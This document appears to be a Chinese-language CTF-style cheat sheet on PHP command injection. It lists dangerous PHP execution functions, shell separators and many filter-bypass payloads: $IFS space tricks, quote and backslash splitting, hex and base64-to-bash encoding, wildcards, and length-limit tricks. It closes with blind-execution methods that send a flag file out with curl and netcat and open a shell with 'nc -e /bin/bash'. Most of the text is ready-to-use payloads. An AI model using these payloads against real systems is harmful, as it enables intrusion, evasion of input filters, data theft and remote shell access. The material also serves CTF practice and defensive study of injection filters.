常用的系统命令执行函数
system() #输出并返回最后一行shell结果。
exec() #不输出结果,返回最后一行shell结果,所有结果保存到一个返回数组里。
passthru() #只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。
popen()、proc_open() #不会直接返回执行结果,而是返回一个文件指针
shell_exec()#通过shell执行命令并以字符串的形式返回完整的输出
? ` `(反引号)? ? #实际上是使用shell_exec()函数
pcntl_exec? ?# 函数的作用是在当前进程空间执行指定程序
一般来说就有这么几个危险函数,可以执行系统命令
常见命令的分隔符、终止符和截断符
命令分隔符
windows:
&&? ? ? ? 需要&&前面的命令执行成功后才能执行后面的命令
||? ? ? ? ? ?当|| 前面的执行成功后就不在执行后面的命令,前面失败就执行后面的
&? ? ? ? ? ?不管前面命令是否成功,都能执行后面的命令
|? ? ? ? ? ? ?前面命令输出结果作为后面命令的输入内容
linux:
&& 当前面命令为成功才执行后面的命令
|| ? ? ?前面命令执行失败的时候才执行后面的命令
&? ????????? 前面命令执行后接着执行后面的命令
|? ? ? ? ? ? ? 前面命令输出结果作为后面命令的输入内容
;? ? ? ? ? ? ? 无论前面命令真或假都执行后面的命令,适用于执行多条命令
命令终止符
?#以下终止符只适用于PHP环境
%0a 换行符
%0d 回车符
截断符号
$
;
|
&
-
(
)
{
}
`
||
&&
%0a? ? #有时候可以当空格使用?
命令执行的各种绕过
?
绕过空格
<
<>
%09
$IFS$1
$IFS$9
${IFS}
$IFS等
还可以用{} 比如 {cat,flag}
?
关键字黑名单绕过
?拼接绕过黑名单
a=fl;b=ag;cat $a$b
?
利用单引号,双引号绕过
ca''t fla''g
ca""t fla""g
利用反斜杠绕过
cat fla\g?
?
利用各种编码绕过
十六进制
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag
?
base64
echo 'Y2F0IC9mbGFnCg==' | base64 -d |bash
利用shell的特殊变量绕过
l$@s
l$*s
l$1s
都是ls,因为没有定义$@,$*,$1,所以都是空值
利用通配符绕过
利用*和?
cat fla?
cat fl*
cat fl??
利用[]绕过
c[a]t
l[s]
fl[a]g
利用系统内置变量配合通配符构造命令
echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin? ? ? ?默认环境变量
`echo $PATH | cut -c 8,9`t flag? ? ? ?即 cat flag
当读取文件的命令被过滤
cat
more
less
tac
tail
nl
od
vi
vim
sort
uniq -c
file -f
rev
grep? [文件内容任意字符]? [文件名]
sh??
curl? ? ? ?前提需要知道文件位置
bash -v
strings
长度限制绕过
写文件绕过
通过> 创建文件,再通过>> 在在文件后加入字符
例如
echo "cat\\" > hack
echo " flag" >> hack
此时hack内容为??
cat\
?flag
然后可以通过 sh hack ,执行系统命令,就可以看到flag
这种一般长度限制范围在6字符以上可以用一般的flag文件都是flag.txt 或者flag.php 本文的flag只是示例
还可以通过
>"ag"
>"fl\\"
> "t \\"
> "ca\\"
ls -t > test
sh test
来绕过限制长度,长度范围比较小的,6以下的,可以用这种
其他一些绕过
cat flag > hack
cat hack? ? #可以查看到flag
?
rev flag? ?#可以将flag的内容倒过来输出
?
系统命令执行无回显
判断是否为命令执行
可以通过延时来判断是否为命令执行
sleep
比如
ls | sleep 5
绕过无回显
可以通过http外带数据来绕过无回显
用python 制作简易的http服务器
python3 -m http.server 8888
?
cat flag | curl ip:8888
或者在dnslog上外带数据
可以通过nc反弹shell或者文件
在本地机
nc -tlp 4444? > a.txt
?
ls && nc -t ip 4444 < flag
或者
ls && nc -e /bin/bash -lvvp 5555
nc ip 5555? ?#即可拿到shell
|